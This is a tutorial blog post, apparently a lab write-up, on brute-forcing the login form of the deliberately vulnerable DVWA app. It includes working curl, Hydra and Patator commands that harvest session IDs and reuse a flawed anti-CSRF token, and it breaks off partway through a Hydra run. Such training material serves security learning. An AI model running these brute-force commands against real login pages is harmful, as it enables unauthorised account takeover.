Manh Nguyen

DVWA - Main Login Page - Brute Force HTTP POST Form With CSRF Tokens

09:19:18 April 30, 2024 brute-force, dvwa, csrf 0 comments

Upon installing Damn Vulnerable Web Application (DVWA), the first screen will be the main login page. Even though technically this is not a module, why not attack it? DVWA is made up of designed exercises, one of which is a challenge, designed to be to be brute force.

DVWA Login

Let's pretend we did not read the documentation, the message shown on the setup screens, as well as on the homepage of the software when we downloaded the web application.

Let's forget the default login is: admin:password (which is also a very common default login)!

Let's play dumb and brute force it =).


TL;DR: Quick copy/paste

1
2
3
4
5
6
7
8
9
10
11
12
13
CSRF=$(curl -s -c dvwa.cookie "192.168.1.44/DVWA/login.php" | awk -F 'value=' '/user_token/ {print $2}' | cut -d "'" -f2)
SESSIONID=$(grep PHPSESSID dvwa.cookie | awk -F ' ' '{print $7}')

hydra  -L /usr/share/seclists/Usernames/top_shortlist.txt  -P /usr/share/seclists/Passwords/500-worst-passwords.txt \
  -e ns  -F  -u  -t 1  -w 10  -V  192.168.1.44  http-post-form \
  "/DVWA/login.php:username=^USER^&password=^PASS^&user_token=${CSRF}&Login=Login:S=Location\: index.php:H=Cookie: security=impossible; PHPSESSID=${SESSIONID}"

patator  http_fuzz  method=POST  follow=0  accept_cookie=0 --threads=1  timeout=10 \
  url="http://192.168.1.44/DVWA/login.php" \
  1=/usr/share/seclists/Usernames/top_shortlist.txt  0=/usr/share/seclists/Passwords/500-worst-passwords.txt \
  body="username=FILE1&password=FILE0&user_token=${CSRF}&Login=Login" \
  header="Cookie: security=impossible; PHPSESSID=${SESSIONID}" \
  -x quit:fgrep=index.php

Objectives

  • The goal is to brute force an HTTP login page.
    • POST requests are made via a form.
    • The web page is in a sub folder.
    • Hydra & Patator will do the grunt work.
  • There is an anti-CSRF (Cross-Site Request Forgery) field on the form.
    • However, the token is implemented incorrectly.
  • There is a redirection after submitting the credentials,
    • ...both for successful and failed logins.
  • There are not any lockouts on account,
    • ...or any other protections or preventions in place (e.g. firewalls or Intrusion Prevention Systems - IPS).
  • We go through debugging & troubleshooting some issues.
    • Hopefully if you make it to the bottom, you should have a deeper understanding of a methodology and various tools.

Setup

  • Main target: DVWA v1.10 (Running on Windows XP Pro SP3 ENG x86 + XAMPP v1.8.2).
    • Target setup does not matter too much for this - Debian/Arch Linux/Windows, Apache/Nginx/IIS, PHP v5.x, or MySQL/MariaDB.
    • The main target is on the IP (192.168.1.33), port (80) and subfolder (/DVWA/), which is known ahead of time.
    • Because the target is Windows, it does not matter about case sensitive URL requests (/DVWA/ vs /dvwa/).
    • There was an issue using multi-threading brute force on this target. This is explained towards the end of the post.
  • Attacker: Kali Linux v2 (+ Personal Custom Post-install Script).
    • Shell prompt will look different (due to ZSH/Oh-My-ZSH).
    • Added colour to tools output (thanks to GRC).
    • Pre-installed tools (such as html2text).

Both machines are running inside a Virtual Machine (VMware ESXi).


Tools

  • cURL - Information gathering (used for viewing source code & to automate gathering tokens).
    • Could also use wget (wget -qO -) instead.
    • Or using Burp/Iceweasel, however, it is harder to automate them due to them being graphical, which makes doing repetitive stuff boring.
  • THC-Hydra v8.1 - A brute force tool.
  • Patator v0.5 - Alternative brute force tool (which I currently prefer).
  • Burp Proxy v16.0.1 - Debugging requests.
    • Could have used OWASP Zed Attack Proxy (ZAP) in Burp's place (which has the upside of being completely free and open source).
    • However, I personally find Burp's GUI to be more intuitive (even if features are limited without a paid license).
    • Also could have used Burp proxy suite to brute force too (just slower in the free edition). Will cover how to-do this in the brute force module.
  • SecLists - General wordlists.
    • These are common, default and small wordlists.
    • Instead of using a custom built wordlist, which has been crafted for our target (e.g. generated with CeWL).

Information Gathering

Login Form (Apache Redirect)

Let's start off making a simple, straight forward request and display the source code of the response.

1
2
3
4
5
6
7
8
9
10
11
[root:~]# curl 192.168.1.33/DVWA
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>301 Moved Permanently</title>
</head><body>
<h1>Moved Permanently</h1>
<p>The document has moved <a href="http://192.168.1.33/DVWA/">here</a>.</p>
<hr>
<address>Apache/2.4.10 (Win32) OpenSSL/1.0.1h PHP/5.4.31 Server at 192.168.1.33 Port 80</address>
</body></html>
[root:~]#

Apache Redirect

Notice without the trailing slash, the web service itself (Apache in this case) is redirecting us to include it.


Login Form (DVVA Redirect)

With the next request, we add a trailing slash.

1
2
[root:~]# curl 192.168.1.33/DVWA/
[root:~]#

However, there is not any code in the response back! Time to dig deeper; we can check the response header.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
[root:~]# curl -i 192.168.1.33/DVWA/
HTTP/1.1 302 Found
Date: Thu, 15 Oct 2015 19:54:18 GMT
Server: Apache/2.4.10 (Win32) OpenSSL/1.0.1h PHP/5.4.31
X-Powered-By: PHP/5.4.31
Set-Cookie: PHPSESSID=t9eeaf7e8usuiu08jl9e092ro7; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: PHPSESSID=t9eeaf7e8usuiu08jl9e092ro7; path=/; httponly
Set-Cookie: security=impossible; httponly
Location: login.php
Content-Length: 0
Content-Type: text/html

[root:~]#

DVVA Redirect

The key bit of information here is Location: login.php, as we can see that the request is being redirected. We can get cURL to automatically follow redirects by doing: curl -L ....

On the subject of cURL and headers, here is a little "bash fu". By using:

  • curl -i (or curl --include for the long hand), it will include the header response from a GET request in cURL's output.
  • curl -I (or curl --head for the long method), it will be a HEAD request (not GET), to try and display only the headers.
  • curl -D - (or curl --dump-header - for the long way), it will be a GET request and will also include the header response in the output.
  • curl -v (or curl --verbose for the long argument), it makes the output more detailed, and it will include both the request and response headers.

Note, a HEAD request is not the same as a GET request, therefore the web server may respond differently (which was the case with Apache setup).


Login Form (Rendered Login Prompt)

As we now know where we need to start, it is time to see what we are going up against.

At this stage we could use a GUI web browser (such as Firefox/Iceweasel), however, sticking with the command line, we can use html2text to render the response (and then uniq to shorten the output by removing duplicated empty lines).

1
2
3
4
5
6
7
8
9
10
11
[root:~]# curl -s 192.168.1.33/DVWA/login.php | html2text | uniq

[dvwa/images/login_logo.png]

 Username [username            ]
Password [********************]

[Login]

Damn_Vulnerable_Web_Application_(DVWA) is a RandomStorm OpenSource project.
[root:~]#

Rendered Login Prompt


Login Form (HTML)

What would be useful, is to see how the page is made up by looking at the HTML code (note, this is the code that is sent back to us - not what is stored on the target).

By using cURL and a little bit of "sed fu", we can select all the code between the <form></form> tags, which is what we are interested in, and remove any empty lines.

1
2
3
4
5
6
7
8
9
10
11
[root:~]# curl -s 192.168.1.33/DVWA/login.php | sed -n '/<form/,/<\/form/p' | sed '/^[[:space:]]*$/d'
  <form action="login.php" method="post">
  <fieldset>
          <label for="user">Username</label> <input type="text" class="loginInput" size="20" name="username"><br />
          <label for="pass">Password</label> <input type="password" class="loginInput" AUTOCOMPLETE="off" size="20" name="password"><br />
          <br />
          <p class="submit"><input type="submit" value="Login" name="Login"></p>
  </fieldset>
  <input type='hidden' name='user_token' value='b03187270e23254dbac8611139dce829' />
  </form>
[root:~]#

HTML

This is the code which makes up the form. This will be useful later on as we now have the names of the fields to attack.

We can also see a "hidden" field, user_token. Based on the name and as the value appears to be a MD5 value (due to its length and character range), this signals it is an anti-CSRF (Cross-Site Request Forgery) token. If this is the case, it possibly could make the attack slightly more complex (by adding another stage when brute forcing, which will get a fresh token before each request).

It does mean we will now HAVE to include a session ID in the attack, which relates to an anti-CSRF token.

The session ID is stored somehow inside the user's browser (in this case using cookies). This is one of the ways which a web application can recognise each user who is using the site. This is often used with login systems, so rather than having to store and send the user credentials each time, the session value could be authenticated instead (this opens up other issues such as: anyone who knows the session value could be that user - session hijacking). In our case, the session ID is paired to the CSRF token. A valid session ID needs to be sent with the correct CSRF token. If either is incorrect and does not relate, the web application should protect itself.

The session ID is static for the "session" (how long depends on both the PHP settings and web application) the user is on the site. However, the CSRF token will be unique to each page request (or at least in theory). This means someone cannot automate the request as the CSRF token should not be known beforehand, meaning the request could not be crafted to be automated (at least without chaining another vulnerability. This is covered later). The PHP session is handled by PHP, whereas the CSRF token is handled by the web application.

The PHP session can be kept "active", by making requests to the site using the session value in the request, and without the web application killing the session (e.g. logging out). Without the session value in the request, a new value will be assigned. Depending on the web application, it may see the two requests as two different users without a session ID (which is the case for us). This means if you were to use Iceweasel and Hydra from the same device (even sharing the same IP and user-agent) the web application could believe its two different users. Also depending on the web application, you may be able to switch between session IDs as long as they are both still active & valid.

CSRF tokens should not be re-used at any stage. If they have been, this means a URL can be able to be crafted ahead of time thus defeating the purpose of them, as a request could be automated.

The web application itself needs to keep track of these two values (session id, PHPSESSID and CSRF token, user_token) and make sure they both are valid as well as matching correctly between requests.


Login Form (Differentiating Responses)

Before we even try to login, we can capture the initial response as this does not include any attempt to login. This would make a useful "baseline" to compare the result of other responses.

1
2
[root:~]# curl -s -i 192.168.1.33/DVWA/login.php > /root/before.txt
[root:~]#

...Very boring as there are not any errors (lucky us!), and everything is being pipe'd (aka copied) into our baseline file /root/before.txt.

Let's now make our first login attempt to the target. Of course, we have not got any credentials at this stage, and are just completely guessing the values. We will use user for the username and pass for the password (spoiler alert, both are incorrect), and a completely incorrect user_token value. Rather than viewing the response straight away, we can also pipe it into a file (/root/after.txt) as this will make comparing responses much easier.

1
2
[root:~]# curl -s -i -L -d $'username=user&password=pass&user_token=123&Login=Login' 192.168.1.33/DVWA/login.php > /root/after.txt
[root:~]#

As you probably guessed, we are now going to compare the response between the two values (baseline & an incorrect login).

We can use a GUI program (such as Meld) to compare the text files, again, sticking with CLI. Note, vimdiff could have been used; however, as vimdiff is interactive, it makes showing the output harder.

By using grc and a bash alias (alias diff='/usr/bin/grc /usr/bin/diff'), the output can be made colourful, making it visually easier to read (see the screenshot images).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
[root:~]# diff /root/before.txt /root/after.txt
0a1,14
> HTTP/1.1 302 Found
> Date: Thu, 15 Oct 2015 19:57:35 GMT
> Server: Apache/2.4.10 (Win32) OpenSSL/1.0.1h PHP/5.4.31
> X-Powered-By: PHP/5.4.31
> Set-Cookie: PHPSESSID=cpkaaja7o9boomrl7fcj9lihg2; path=/
> Expires: Thu, 19 Nov 1981 08:52:00 GMT
> Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
> Pragma: no-cache
> Set-Cookie: PHPSESSID=cpkaaja7o9boomrl7fcj9lihg2; path=/; httponly
> Set-Cookie: security=impossible; httponly
> Location: login.php
> Content-Length: 119
> Content-Type: text/html
>
2c16
< Date: Thu, 15 Oct 2015 19:57:20 GMT
---
> Date: Thu, 15 Oct 2015 19:57:35 GMT
5c19
< Set-Cookie: PHPSESSID=0pjgscf6jcektumgsegqk8gnf6; path=/
---
> Set-Cookie: PHPSESSID=ltgtqqr1afn1q8obog71s1rk70; path=/
9c23
< Set-Cookie: PHPSESSID=0pjgscf6jcektumgsegqk8gnf6; path=/; httponly
---
> Set-Cookie: PHPSESSID=ltgtqqr1afn1q8obog71s1rk70; path=/; httponly
60c74
<  <input type='hidden' name='user_token' value='4bdcf7426fc9438c751ef8d3c7113f2e' />
---
>  <input type='hidden' name='user_token' value='2aec456b4e1614c2d350dcea06d2a446' />
[root:~]#

Baseline Responses

Breaking down the difference, when we failed to login, we can see:

  • Being redirected again (same page: Location: login.php).
  • PHPSESSID & user_token is different.
  • ...time & date stamps are different (always will be the case).

All of this is to be expected (due to two unique PHPSESSID values in the requests and neither of them relating to user_token), so this is not shocking.

So let's request a new page, which will generate a fresh PHPSESSID. This time, when we try to login, we pass this value back in the request.

Rather than having to mess about manually copying/pasting this value every time, let's make a quick "one liner" and assign the value to a variable. The first command will create a cookie (for PHPSESSID), and, by using awk, select the line in the response HTML code that contains the field value for user_token and extract its (MD5) value. This way, we will have both a valid and related PHPSESSID & user_token value. Note: can use either cut -d "'" -f2 or awk -F "'" '{print $2}', but cut will offer a (very slight) performance increase - milliseconds saved!

Also note, throughout the posting, I will keep re-running the CSRF= command. This is un-needed and a bit "overkill", however, if your session value "times out" the stage will ALWAYS fail. After I had a break and came back to it, I did make this mistake a few times. Plus, it allows for easy copy/paste at any section if you wish to jump/skip to places ;-).

Finally, compare the response with the baseline ("bash fu" alert, !diff will re-run the last command that started with diff. ZSH shells will auto expand the command too ;-)).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
[root:~]# CSRF=$(curl -s -c dvwa.cookie 192.168.1.33/DVWA/login.php | awk -F 'value=' '/user_token/ {print $2}' | cut -d "'" -f2)
[root:~]# curl -s -i -L -b dvwa.cookie -d "username=user&password=pass&user_token=${CSRF}&Login=Login" 192.168.1.33/DVWA/login.php > /root/after.txt
[root:~]#
[root:~]# !diff   #diff /root/before.txt /root/after.txt
0a1,11
> HTTP/1.1 302 Found
> Date: Thu, 15 Oct 2015 19:58:45 GMT
> Server: Apache/2.4.10 (Win32) OpenSSL/1.0.1h PHP/5.4.31
> X-Powered-By: PHP/5.4.31
> Expires: Thu, 19 Nov 1981 08:52:00 GMT
> Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
> Pragma: no-cache
> Location: login.php
> Content-Length: 0
> Content-Type: text/html
>
2c13
< Date: Thu, 15 Oct 2015 19:57:20 GMT
---
> Date: Thu, 15 Oct 2015 19:58:46 GMT
5d15
< Set-Cookie: PHPSESSID=0pjgscf6jcektumgsegqk8gnf6; path=/
9,11c19
< Set-Cookie: PHPSESSID=0pjgscf6jcektumgsegqk8gnf6; path=/; httponly
< Set-Cookie: security=impossible; httponly
< Content-Length: 1568
---
> Content-Length: 1607
60c68
<  <input type='hidden' name='user_token' value='4bdcf7426fc9438c751ef8d3c7113f2e' />
---
>  <input type='hidden' name='user_token' value='3eae6f4ceeabfb56e5e390f30bb0195b' />
66c74
<
---
>  <div class="message">Login failed</div>
[root:~]#

Differentiating Responses

The key bit of information here, is right at the end <div class="message">Login failed</div>. We can see our login method was correct, but the values were not successful ;-).

Another thing is Location: login.php. Looks like we are being redirected back to the same page. So far we know this happens when there was a failed login.

Both things (the failed message and the redirected page) might be a way to signal/distinguish if it was success/failed login. Content-Length (aka page size) might be another idea, but should be used as a last resort.

However, let's keep poking about, before trying to brute force.


Login Form (Re-using CSRF Tokens)

So what happens if we make a duplicate request, repeating the exact same command as last time, and compare the response?

...We will need to use another file (/root/after.txt) as the baseline, and then we will be comparing two requests which contained a login attempt.

"Bash fu" alert, we can repeat, using the last cURL command, and replace a value with another one by doing: !curl:gs/after/again/ (ZSH shells will also fill this in before executing it).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
[root:~]# !curl:gs/after/again/   #curl -s -i -L -b dvwa.cookie -d "username=user&password=pass&user_token=${CSRF}&Login=Login" 192.168.1.33/DVWA/login.php > /root/again.txt
[root:~]#
[root:~]# diff after.txt again.txt
2c2
< Date: Thu, 15 Oct 2015 19:58:45 GMT
---
> Date: Thu, 15 Oct 2015 19:59:59 GMT
13c13
< Date: Thu, 15 Oct 2015 19:58:46 GMT
---
> Date: Thu, 15 Oct 2015 19:59:59 GMT
19c19
< Content-Length: 1607
---
> Content-Length: 1618
68c68
<  <input type='hidden' name='user_token' value='3eae6f4ceeabfb56e5e390f30bb0195b' />
---
>  <input type='hidden' name='user_token' value='e9ff39f78d2418ce893e93e4066eabc0' />
74c74
<  <div class="message">Login failed</div>
---
>  <div class="message">CSRF token is incorrect</div>
[root:~]#

Re-using CSRF Tokens

So as expected, repeatedly using the values causes a new error <div class="message">CSRF token is incorrect</div>. This means the anti-CSRF is working as it was designed to.

However... what if we did not follow the redirect (remove curl -L)?

What would happen if we generated a new PHPSESSID & user_token (just like last time), to make a new valid session, but this time stop at the redirect and make another login request, repeating the PHPSESSID & user_token values. And just for good measure, make a 3rd login attempt, again with same PHPSESSID & user_token values.

This means we would only be sending out three POST requests, rather than what would be a POST followed by a GET, three times (total of 6 requests). The POST is the data from the form (username/password being sent). The GET request is product of following the redirect.

We need to use the same file as before for the baseline, as we are still comparing responses. We will only check the last response (as that is the only one we are interested in for the time being).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
[root:~]# CSRF=$(curl -s -c dvwa.cookie 192.168.1.33/DVWA/login.php | awk -F 'value=' '/user_token/ {print $2}' | cut -d "'" -f2)
[root:~]# curl -s -i -b dvwa.cookie -d "username=user&password=pass&user_token=${CSRF}&Login=Login" 192.168.1.33/DVWA/login.php > /root/try1.txt
[root:~]# curl -s -i -b dvwa.cookie -d "username=user&password=123&user_token=${CSRF}&Login=Login" 192.168.1.33/DVWA/login.php > /root/try2.txt
[root:~]# curl -s -i -b dvwa.cookie -d "username=user&password=abcdefg&user_token=${CSRF}&Login=Login" 192.168.1.33/DVWA/login.php -L > /root/try3.txt
[root:~]#
[root:~]# diff /root/after.txt /root/try3.txt
2c2
< Date: Thu, 15 Oct 2015 19:58:45 GMT
---
> Date: Thu, 15 Oct 2015 20:01:17 GMT
13c13
< Date: Thu, 15 Oct 2015 19:58:46 GMT
---
> Date: Thu, 15 Oct 2015 20:01:17 GMT
19c19
< Content-Length: 1607
---
> Content-Length: 1685
68c68
<  <input type='hidden' name='user_token' value='3eae6f4ceeabfb56e5e390f30bb0195b' />
---
>  <input type='hidden' name='user_token' value='b47a6ad2207d05dbd9ddc2478074a776' />
74c74
<  <div class="message">Login failed</div>
---
>  <div class="message">Login failed</div><div class="message">Login failed</div><div class="message">Login failed</div>
[root:~]#

Anti CSRF tokens incorrectly implement

Now that was not expected! There were three "Login failed" messages to our three login attempts.

This means we can send as many POST requests as we wish, using the same SESSION ID & CSRF token (on the condition of not following the redirects)!

It appears sending a GET request to follow the redirect, will generate a new CSRF token.

The down side to this is we cannot use the message <div class="message">Login failed</div> as a marker for an invalid login - as this is only valid with a GET request (due to the redirect). It also rules out, Content-Length, as this will always be 0.

This leaves Location: login.php. We do not know what a valid login looks like (nothing to compare it to). So let's make a guess, of it redirecting us to a different page other than login.php (there are not many reasons for seeing the same page again if you are logged in - Two factor authentication?). An educated guess would be index.php, logged-in.php, my_account.php or offers.php. Either way, let's rule out login.php for the time being. Note, we will come back to this later on, and, why this should not be a big issue.


Brute Force (Testing)

Hydra (Documentation)

Let's read up, what does what, and think about what we need from Hydra. Using a few commands can go a long way...

1
2
3
4
hydra
hydra -h
hydra -U http-post-form
man hydra

I will extract from the output what I think we'll use:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
  -l LOGIN or -L FILE  login with LOGIN name, or load several logins from FILE
  -p PASS  or -P FILE  try password PASS, or load several passwords from FILE
  -e nsr    try "n" null password, "s" login as pass and/or "r" reversed login
  -u        loop around users, not passwords (effective! implied with -x)
  -f / -F   exit when a login/pass pair is found (-M: -f per host, -F global)
  -t TASKS  run TASKS number of connects in parallel (per host, default: 16)
  -w / -W TIME  waittime for responses (32s) / between connects per thread
  -v / -V / -d  verbose mode / show login+pass for each attempt / debug mode
  -q        do not print messages about connection errors
  -U        service module usage details
  server    the target: DNS, IP or 192.168.0.0/24 (this OR the -M option)
  service   the service to crack (see below for supported protocols)
  OPT       some service modules support additional input (-U for module help)

HYDRA_PROXY_HTTP or HYDRA_PROXY - and if needed HYDRA_PROXY_AUTH - environment for a proxy setup.
E.g.:  % export HYDRA_PROXY=socks5://127.0.0.1:9150 (or socks4:// or connect://)
       % export HYDRA_PROXY_HTTP=http://proxy:8080

...SNIP...

Syntax:   <url>:<form parameters>:<condition string>[:<optional>[:<optional>]

...SNIP...

Third is the string that it checks for an *invalid* login (by default)
 Invalid condition login check can be preceded by "F=", successful condition
 login check must be preceded by "S=".
 This is where most people get it wrong. You have to check the webapp what a
 failed string looks like and put it in this parameter!
 "/login.php:user=^USER^&pass=^PASS^:incorrect"

...SNIP...

Note that if you are going to put colons (:) in your headers you should escape them with a backslash (\).

We now have a slightly better idea how the tool works =).


Hydra (Test/Debug Command)

The smart way to go about attacking anything, is to setup a test environment where you know & control everything, rather than trying to attack a production box straight away (then we would know what page we would be redirected to when successfully logged in).

Really, we should have done everything so far in a test environment. However, as this is a training lab it does not matter too much. Having a cloned environment under our control, would allow us to know what valid credentials there would be. As this is a training lab, we have already been given valid credentials, so we do not need to re-setup again (and being stealthy here is not an objective).

As we are not fully sure what a valid response would look like, we could login via cURL as before. But let's push the boat out and expand our skill set. Let's use a proxy to intercept the requests and monitor. There are various options; however, I've picked Burp Proxy Suite.

As we already know what the credential is (admin:password), let's statically add them in, letting us test our Hydra command.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
[root:~]# CSRF=$(curl -s -c dvwa.cookie 192.168.1.33/DVWA/login.php | awk -F 'value=' '/user_token/ {print $2}' | cut -d "'" -f2)
[root:~]# SESSIONID=$(grep PHPSESSID dvwa.cookie | awk -F ' ' '{print $7}')
[root:~]#
[root:~]# export HYDRA_PROXY_HTTP=http://127.0.0.1:8080
[root:~]# rm -f hydra.restore
[root:~]#
[root:~]# hydra -l admin -p password -e ns -u -F -t 1 -w 10 -W 1 -v -V 192.168.1.33 http-post-form "/DVWA/login.php:username=^USER^&password=^PASS^&user_token=${CSRF}&Login=Login:F=Location\: login.php:C=/404.php:H=Cookie: security=impossible; PHPSESSID=${SESSIONID}"
Hydra v8.1 (c) 2014 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2015-10-15 21:05:13
[INFO] Using HTTP Proxy: http://127.0.0.1:8080
[INFORMATION] escape sequence \: detected in module option, no parameter verification is performed.
[DATA] max 1 task per 1 server, overall 64 tasks, 3 login tries (l:1/p:3), ~0 tries per task
[DATA] attacking service http-post-form on port 80
[VERBOSE] Resolving addresses ... done
[ATTEMPT] target 192.168.1.33 - login "admin" - pass "admin" - 1 of 3 [child 0]
[ATTEMPT] target 192.168.1.33 - login "admin" - pass "" - 2 of 3 [child 0]
[ATTEMPT] target 192.168.1.33 - login "admin" - pass "password" - 3 of 3 [child 0]
[VERBOSE] Page redirected to http://192.168.1.33/DVWA/index.php
[STATUS] attack finished for 192.168.1.33 (waiting for children to complete tests)
1 of 1 target completed, 0 valid passwords found
Hydra (http://www.thc.org/thc-hydra) finished at 2015-10-15 21:05:29
[root:~]#

Test/Debug Command

There is a lot going on in this snippet. Let's break it down.

  • The first two commands are generating and then exacting the necessary fields (similar to before). So we have acquired fresh, valid PHPSESSID and user_token values). The extra line (SESSIONID=$...) is because Hydra is unable to read the cookie file so we need to manually extract the values.
  • The next two commands are configuring Hydra. The first one instructs it to use a HTTP proxy export HYDRA_PROXY_HTTP=http://127.0.0.1:8080 (for which we already have Burp, up and listening. Intercept is turned off). The other rm -f hydra.restore, cleans up any previous traces of any Hydra sessions (useful if we have to stop, and re-run the commands multiple times).
  • The last command is the main command. This is what performs the brute force
    • -l admin - static usernames.
    • -p password - static password.
    • -e ns - empty password & login as password.
    • -u - loop username first, rather than password (Does not matter here, due to only 1 username).
    • -F - quit after finding any login credentials.
    • -t 1 - Only one thread (easier to track with Burp).
    • -w 10 - timeout value for each thread (easier to manage with Burp in case we want to quickly intercept anything).
    • -W 1 - Wait 1 second before moving on to the next request (kinder to the host/database/Burp).
    • -v - makes the output more verbose - so we can see redirects.
    • -V - display all attempts.
    • 192.168.1.33 - IP/hostname of the machine to attack.
    • http-post-form - module and method to use.
    • /DVWA/login.php - path to the page.
    • username=^USER^&password=^PASS^&user_token=${CSRF}&Login=Login - POST data to send.
    • F=Location\: login.php - key here, filter out all redirects that are NOT login.php (Blacklisting).
    • C=/404.php - see the next section below. Possible bug in Hydra?
    • H=Cookie: security=impossible; PHPSESSID=${SESSIONID} - the cookie values to send during brute force.

By doing all of this, we can see when we use admin & password for the username & password; we are then redirected to a different page, /DVWA/index.php. This sounds like a successful login!

Note: Hydra does not say there is a successful login. Just the fact we have verbose enabled shows there has been a redirect.


Hydra Issues

Issue #1 (Additional GET Requests)

During the testing of Hydra command, I noticed hydra was making unwanted GET requests (this is why we test before attacking)! As a result, hydra was not able to detect the correct known login (because we are in a test lab).

Additional GET Requests

The GET requests were loading the /DVWA/login.php page again, and as we know from using cURL before - this will cause a new PHPSESSID which does not match the CSRF token.

The GET request is happening before the POST request, so it is not following the redirect. What it is doing is mincing the page loading request, before trying to brute force it.

The GET request is not using any of the parameters, just a direct page load. The POST request was ours and contained the values we wanted.

So, back to the help screens...

At first glance, nothing jumped out regarding CSRF, or being able to make dynamic requests, or executing commands before making the request (so we could have some "bash fu"). After reading it in more depth (rather than just skimming for certain phrases), the following line might be useful...

1
C=/page/uri     to define a different page to gather initial cookies from

We do not want it to get cookies from another page, as we are already setting them in the request. However, it is making the request initially before our POST request. So let's try it out.

We do not want it to make a request to the web application (as that possibly makes another session token), so let's just point it to any made up page that is not on the web server. Quick test, /404.php is not there! So putting it into Hydra: C=/404.php.

Note: after messing about a bit more, the value could have been left blank - e.g. C=.

This could be a possible bug with Hydra (I was using Hydra v8.1 & v8.2. The latter is currently in development and not yet released), or I could just have been using it wrong.

1
2
3
4
5
6
7
8
Before:
/DVWA/login.php:username=^USER^&password=^PASS^&user_token=${CSRF}&Login=Login:F=Location\: login.php:H=Cookie: security=impossible; PHPSESSID=${SESSIONID}

After:
/DVWA/login.php:username=^USER^&password=^PASS^&user_token=${CSRF}&Login=Login:F=Location\: login.php:C=/pointlessfile.php:H=Cookie: security=impossible; PHPSESSID=${SESSIONID}

Also works:
/DVWA/login.php:username=^USER^&password=^PASS^&user_token=${CSRF}&Login=Login:F=Location\: login.php:C=:H=Cookie: security=impossible; PHPSESSID=${SESSIONID}

This is why testing and debugging locally before doing it is very useful (and how to debug an issue).

Hydra itself does have an inbuilt debug option. However, it is either on or off, and when it is on, it throws a lot of data to the screen, making it harder to see what is going on.

This is why I opted to use a proxy and use that to filter the requests. Please note, by adding the use of a Proxy - it is an extra part, making the attack more complex and it is another point of failure as it can make more issues.... See below.

The up side of using a proxy with Hydra, if adding C=/404.php does not fix the issue, is that we can create a proxy rule to "drop" any GET requests going to /DVWA/login.php (e.g. GET /DVWA/login.php.*$).


I made a mistake the first time I did this, as I started off doing C=404.php (rather than C=/404.php), however, this is incorrect. Missing the leading request will cause some interesting results.

Note, Burp (by default) did not show up the error response, as it was being piped to an incorrect port (80443.php)!

Additional GET Requests with Burp


Issue #2 (Missing Parameters/Proxying Hydra)

This happened later on when doing the brute force module, using the http-get-form instead of http-post-form, so I will not go into too much detail now. Again, when using Burp, I noticed the GET parameters were not containing the values which were set. Even though this command is completely wrong for doing this attack, I want to show the issue.

Missing Parameters

Notice how Burp does not see the parameters? And they are also not in the web log?

There are three solutions for this:

  • Disable using a proxy (unset HYDRA_PROXY_HTTP)
  • Use a different proxy - ZAP works out of the box.
  • Enable "invisible proxy mode" in Burp.

Invisible Proxy Mode

As this does not affect us for the time being, I will cover this in the brute force module.


Switching from Blacklisting to Whitelisting

Rather than looking for "if the response does NOT include the following value, it must be a valid login" (blacklisting - x cannot equal y), it is smarter to look for certain values in the response (whitelisting - x must equal y).

Let's switch back to cURL quickly, and see what a valid login looks like.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
[root:~]# CSRF=$(curl -s -c dvwa.cookie 192.168.1.33/DVWA/login.php | awk -F 'value=' '/user_token/ {print $2}' | cut -d "'" -f2)
[root:~]# curl -s -i -b dvwa.cookie -d "username=admin&password=password&user_token=${CSRF}&Login=Login" 192.168.1.33/DVWA/login.php
HTTP/1.1 302 Found
Date: Thu, 15 Oct 2015 20:32:34 GMT
Server: Apache/2.4.10 (Win32) OpenSSL/1.0.1h PHP/5.4.31
X-Powered-By: PHP/5.4.31
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Location: index.php
Content-Length: 0
Content-Type: text/html

[root:~]#
[root:~]# curl -s -i -b dvwa.cookie -d "username=admin&password=password&user_token=${CSRF}&Login=Login" 192.168.1.33/DVWA/login.php | grep Location
Location: index.php
[root:~]# curl -s -i -b dvwa.cookie -d "username=admin&password=incorrect&user_token=${CSRF}&Login=Login" 192.168.1.33/DVWA/login.php | grep Location
Location: login.php
[root:~]#

Location, Location, Location

The key bit here is Location: index.php. So now let's put it into Hydra.

1
2
3
4
5
Before (Blacklistning):
F=Location\: login.php

After (Whitelistning):
S=Location\: index.php

All we had to-do was just escape the colon.

Once again, quick test to make sure it is correct. So after replacing the section from above, the -v was also removed as we did not want to see when we were being redirected any more.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
[root:~]# CSRF=$(curl -s -c dvwa.cookie 192.168.1.33/DVWA/login.php | awk -F 'value=' '/user_token/ {print $2}' | cut -d "'" -f2)
[root:~]# SESSIONID=$(grep PHPSESSID dvwa.cookie | awk -F ' ' '{print $7}')
[root:~]# rm -f hydra.restore; export HYDRA_PROXY_HTTP=http://127.0.0.1:8080
[root:~]#
[root:~]# hydra -l admin -p password -e ns -u -F -t 1 -w 10 -W 1 -V 192.168.1.33 http-post-form "/DVWA/login.php:username=^USER^&password=^PASS^&user_token=${CSRF}&Login=Login:S=Location\: index.php:C=/404.php:H=Cookie: security=impossible; PHPSESSID=${SESSIONID}"
Hydra v8.1 (c) 2014 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2015-10-15 21:35:50
